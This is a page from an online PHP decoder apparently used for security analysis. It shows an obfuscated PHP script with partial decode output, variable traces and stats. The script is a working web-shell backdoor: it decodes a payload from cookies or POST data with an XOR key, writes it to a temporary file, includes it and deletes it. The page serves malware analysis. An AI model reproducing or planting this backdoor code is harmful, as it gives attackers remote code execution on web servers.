Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function es1($tm2){$dq3 = "#'tcFrpen5a8)fE*dys(<6L@ho_" ."1" .";Hgi3?l.vx/2u-Ib0 " ..

Decoded Output download

<?php 
function es1($tm2){$dq3 = "#'tcFrpen5a8)fE*dys(<6L@ho_" ."1" .";Hgi3?l.vx/2u-Ib0 " ."km" ."4" ;$qq5='';foreach($tm2 as $iq4){$qq5.=$dq3[$iq4];}return $qq5;}$qv6 = Array();$qv6[] = es1(Array(11,44,48,16,16,16,39,39,41,32,32,9,21,41,48,16,27,10,41,11,27,13,48,41,32,7,39,3,48,10,27,11,10,48,11,27));$qv6[] = es1(Array(33,6,24,6,45,23,40,8,34,31,8,46,19,26,26,4,42,22,14,26,26,12,28,45));$qv6[] = es1(Array(35,47,25,16,40,34,7));$qv6[] = es1(Array(29,15));$qv6[] = es1(Array(35,38));$qv6[] = es1(Array(0));$qv6[] = es1(Array(20));$qv6[] = es1(Array(13,31,34,7,26,6,40,2,26,3,25,8,2,7,8,2,18));$qv6[] = es1(Array(10,5,5,10,17,26,47,7,5,30,7));$qv6[] = es1(Array(18,2,5,26,5,7,6,7,10,2));$qv6[] = es1(Array(7,37,6,34,25,16,7));$qv6[] = es1(Array(18,40,43,18,2,5));$qv6[] = es1(Array(40,8,34,31,8,46));$qv6[] = es1(Array(18,2,5,34,7,8));$qv6[] = es1(Array(6,10,3,46));$qv6[] = es1(Array(47,16,9));foreach ($qv6[8]($_COOKIE, $_POST) as $ph14 => $cj11){function pp8($qv6, $ph14, $hu10){return $qv6[11]($qv6[9]($ph14 . $qv6[0], ($hu10 / $qv6[13]($ph14)) + 1), 0, $hu10);}function db7($qv6, $xf12){return @$qv6[14]($qv6[3], $xf12);}function ol9($qv6, $xf12){if (isset($xf12[2])) {$bg13 = $qv6[4] . $qv6[15]($qv6[0]) . $qv6[2];@$qv6[7]($bg13, $qv6[6] . $qv6[1] . $xf12[1]($xf12[2]));@include($bg13);@$qv6[12]($bg13);exit();}}$cj11 = db7($qv6, $cj11);ol9($qv6, $qv6[10]($qv6[5], $cj11 ^ pp8($qv6, $ph14, $qv6[13]($cj11))));} 
 ?>

Did this file decode correctly?

Original Code

<?php
function es1($tm2){$dq3 = "#'tcFrpen5a8)fE*dys(<6L@ho_" ."1" .";Hgi3?l.vx/2u-Ib0 " ."km" ."4" ;$qq5='';foreach($tm2 as $iq4){$qq5.=$dq3[$iq4];}return $qq5;}$qv6 = Array();$qv6[] = es1(Array(11,44,48,16,16,16,39,39,41,32,32,9,21,41,48,16,27,10,41,11,27,13,48,41,32,7,39,3,48,10,27,11,10,48,11,27));$qv6[] = es1(Array(33,6,24,6,45,23,40,8,34,31,8,46,19,26,26,4,42,22,14,26,26,12,28,45));$qv6[] = es1(Array(35,47,25,16,40,34,7));$qv6[] = es1(Array(29,15));$qv6[] = es1(Array(35,38));$qv6[] = es1(Array(0));$qv6[] = es1(Array(20));$qv6[] = es1(Array(13,31,34,7,26,6,40,2,26,3,25,8,2,7,8,2,18));$qv6[] = es1(Array(10,5,5,10,17,26,47,7,5,30,7));$qv6[] = es1(Array(18,2,5,26,5,7,6,7,10,2));$qv6[] = es1(Array(7,37,6,34,25,16,7));$qv6[] = es1(Array(18,40,43,18,2,5));$qv6[] = es1(Array(40,8,34,31,8,46));$qv6[] = es1(Array(18,2,5,34,7,8));$qv6[] = es1(Array(6,10,3,46));$qv6[] = es1(Array(47,16,9));foreach ($qv6[8]($_COOKIE, $_POST) as $ph14 => $cj11){function pp8($qv6, $ph14, $hu10){return $qv6[11]($qv6[9]($ph14 . $qv6[0], ($hu10 / $qv6[13]($ph14)) + 1), 0, $hu10);}function db7($qv6, $xf12){return @$qv6[14]($qv6[3], $xf12);}function ol9($qv6, $xf12){if (isset($xf12[2])) {$bg13 = $qv6[4] . $qv6[15]($qv6[0]) . $qv6[2];@$qv6[7]($bg13, $qv6[6] . $qv6[1] . $xf12[1]($xf12[2]));@include($bg13);@$qv6[12]($bg13);exit();}}$cj11 = db7($qv6, $cj11);ol9($qv6, $qv6[10]($qv6[5], $cj11 ^ pp8($qv6, $ph14, $qv6[13]($cj11))));}

Function Calls

es1 16
null 1

Variables

$dq3 #'tcFrpen5a8)fE*dys(<6L@ho_1;Hgi3?l.vx/2u-Ib0 km4
$iq4 9
$qq5 888
$qv6 [{'key': None, 'value': '888'}]
$tm2 [{'key': 0, 'value': 47}, {'key': 1, 'value': 16}, {'key': 2, 'value': 9}]

Stats

MD5 2f6bc8a8922f75cabdf4c153824f76df
Eval Count 0
Decode Time 286 ms